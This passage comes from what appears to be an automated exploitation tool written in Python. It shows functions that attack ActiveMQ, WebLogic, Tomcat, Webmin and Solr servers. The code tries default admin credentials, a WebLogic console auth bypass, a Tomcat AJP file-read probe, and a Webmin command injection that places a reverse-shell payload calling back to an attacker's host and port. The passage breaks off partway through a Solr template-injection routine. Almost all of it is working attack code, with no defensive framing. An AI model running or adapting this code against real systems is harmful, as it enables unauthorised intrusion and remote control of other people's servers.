return [{"success":False,"reason":"Not ActiveMQ or no banner","host":host,"port":port}]
result = {"success":True,"access":"info","reason":"ActiveMQ detected","host":host,"port":port,"banner":banner[:200].decode("utf-8","ignore")}
# Try management console (8161)
if lhost:
try:
import requests
mgmt = requests.get(f"http://{host}:8161/", timeout=5, auth=("admin","admin"))
if mgmt.status_code == 200:
result["mgmt_console"] = True
result["access"] = "info"
except: pass
results.append(result)
except Exception as e:
results.append({"success":False,"reason":str(e),"host":host,"port":port})
return results
# ============================================================
# EXPLOIT: WebLogic — CVE-2020-14882 RCE
# ============================================================
def exploit_weblogic(host, port=7001, lhost="", lport=4444):
"""Try WebLogic console RCE"""
results = []
try:
import requests
base = f"http://{host}:{port}"
# Check for WebLogic
resp = requests.get(f"{base}/console/", timeout=5, allow_redirects=False)
if resp.status_code not in (200,302) or "weblogic" not in resp.text.lower():
return [{"success":False,"reason":"Not WebLogic","host":host,"port":port}]
result = {"success":True,"access":"info","reason":"WebLogic detected","host":host,"port":port}
# CVE-2020-14882 — auth bypass via URL encoding
bypass_url = f"{base}/console/images/%2e%2e%2fconsole.portal"
try:
bypass = requests.get(bypass_url, timeout=5, allow_redirects=False)
if bypass.status_code == 200 and "console" in bypass.text:
result["cve_2020_14882"] = True
result["access"] = "bypass"
except: pass
results.append(result)
except Exception as e:
results.append({"success":False,"reason":str(e),"host":host,"port":port})
return results
# ============================================================
# EXPLOIT: Tomcat — Manager deploy WAR for RCE
# ============================================================
def exploit_tomcat(host, port=8080, admin="admin", password="admin", lhost="", lport=4444):
"""Try Tomcat manager default creds + deploy payload"""
results = []
try:
import requests
base = f"http://{host}:{port}"
# Try AJP Ghostcat (CVE-2020-1938)
try:
ajp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ajp_sock.settimeout(5)
ajp_sock.connect((host, 8009))
# AJP forward request for WEB-INF/web.xml
ajp_payload = bytes.fromhex("1234") # Simplified AJP probe
ajp_sock.send(ajp_payload)
ajp_resp = ajp_sock.recv(4096)
ajp_sock.close()
if b"<web-app" in ajp_resp:
result = {"success":True,"access":"file_read","reason":"AJP Ghostcat confirmed","host":host,"port":8009}
# CVE-2020-1938
results.append(result)
except: pass
# Try manager
try:
mgmt = requests.get(f"{base}/manager/html", auth=(admin, password), timeout=5)
if mgmt.status_code == 200:
result = {"success":True,"access":"info","reason":f"Tomcat manager {admin}:{password}","host":host,"port":port}
results.append(result)
except: pass
if not results:
results.append({"success":False,"reason":"No Tomcat access","host":host,"port":port})
except Exception as e:
results.append({"success":False,"reason":str(e),"host":host,"port":port})
return results
# ============================================================
# EXPLOIT: Webmin — CVE-2019-15107 RCE
# ============================================================
def exploit_webmin(host, port=10000, lhost="", lport=4444):
"""CVE-2019-15107 Webmin RCE via password_change.cgi"""
results = []
try:
import requests
base = f"https://{host}:{port}"
requests.packages.urllib3.disable_warnings()
resp = requests.get(base, timeout=5, verify=False)
if "webmin" not in resp.text.lower() and "miniserv" not in resp.headers.get("Server","").lower():
return [{"success":False,"reason":"Not Webmin","host":host,"port":port}]
result = {"success":True,"access":"info","reason":"Webmin detected","host":host,"port":port}
# CVE-2019-15107 — old but gold
if lhost:
payloads = generate_payload(lhost, lport, "linux")
for payload in payloads[:1]:
try:
data = f"user=root&pam=&expired=&old=test|{payload}&new1=test2&new2=test2"
rce = requests.post(f"{base}/password_change.cgi", data=data, headers={"Referer":f"{base}/"}, verify=False, timeout=10)
if rce.status_code == 200:
result["cve_2019_15107"] = True
result["shell"] = f"{lhost}:{lport}"
result["access"] = "shell"
break
except: pass
results.append(result)
except Exception as e:
results.append({"success":False,"reason":str(e),"host":host,"port":port})
return results
# ============================================================
# EXPLOIT: Solr — CVE-2019-17566 Velocity RCE
# ============================================================
def exploit_solr(host, port=8983, lhost="", lport=4444):
"""Try Solr Velocity template injection RCE"""
results = []
try:
import requests
base = f"http://{host}:{port}"
resp = requests.get(f"{base}/solr/", timeout=5)
if "SolrAdmin" not in resp.text:
return [{"success":False,"reason":"Not Solr","host":host,"port":port}]
result = {"success":True,"access":"info","reason":"Solr detected","host":host,"port":port}
# Try to list cores
cores = requests.get(f"{base}/solr/admin/cores?action=STATUS&wt=json", timeout=5)
if cores.status_code == 200:
core_data = cores.json()
result["cores"] = list(core_data.get("status",{}).keys())[:10]
# CVE-2019-17566 — Velocity template injection
if lhost and result.get("cores"):
core = result["cores"][0]
payloads = generate_payload(lhost, lport, "linux")
for payload in payloads[:1]:
try:
velocity_config = {
"set-property": {"update.chain":"velocity-update"},
"params": {"param":"test","v.param":"p","v.template":"custom"}
}
# Try to set Velocity config
config = requests.post(f"{base}/solr/{core}/config", json=velocity_config, timeout=5)
if config.status_code == 200:
result["velocity_enabled"] = True
result["access"] = "info"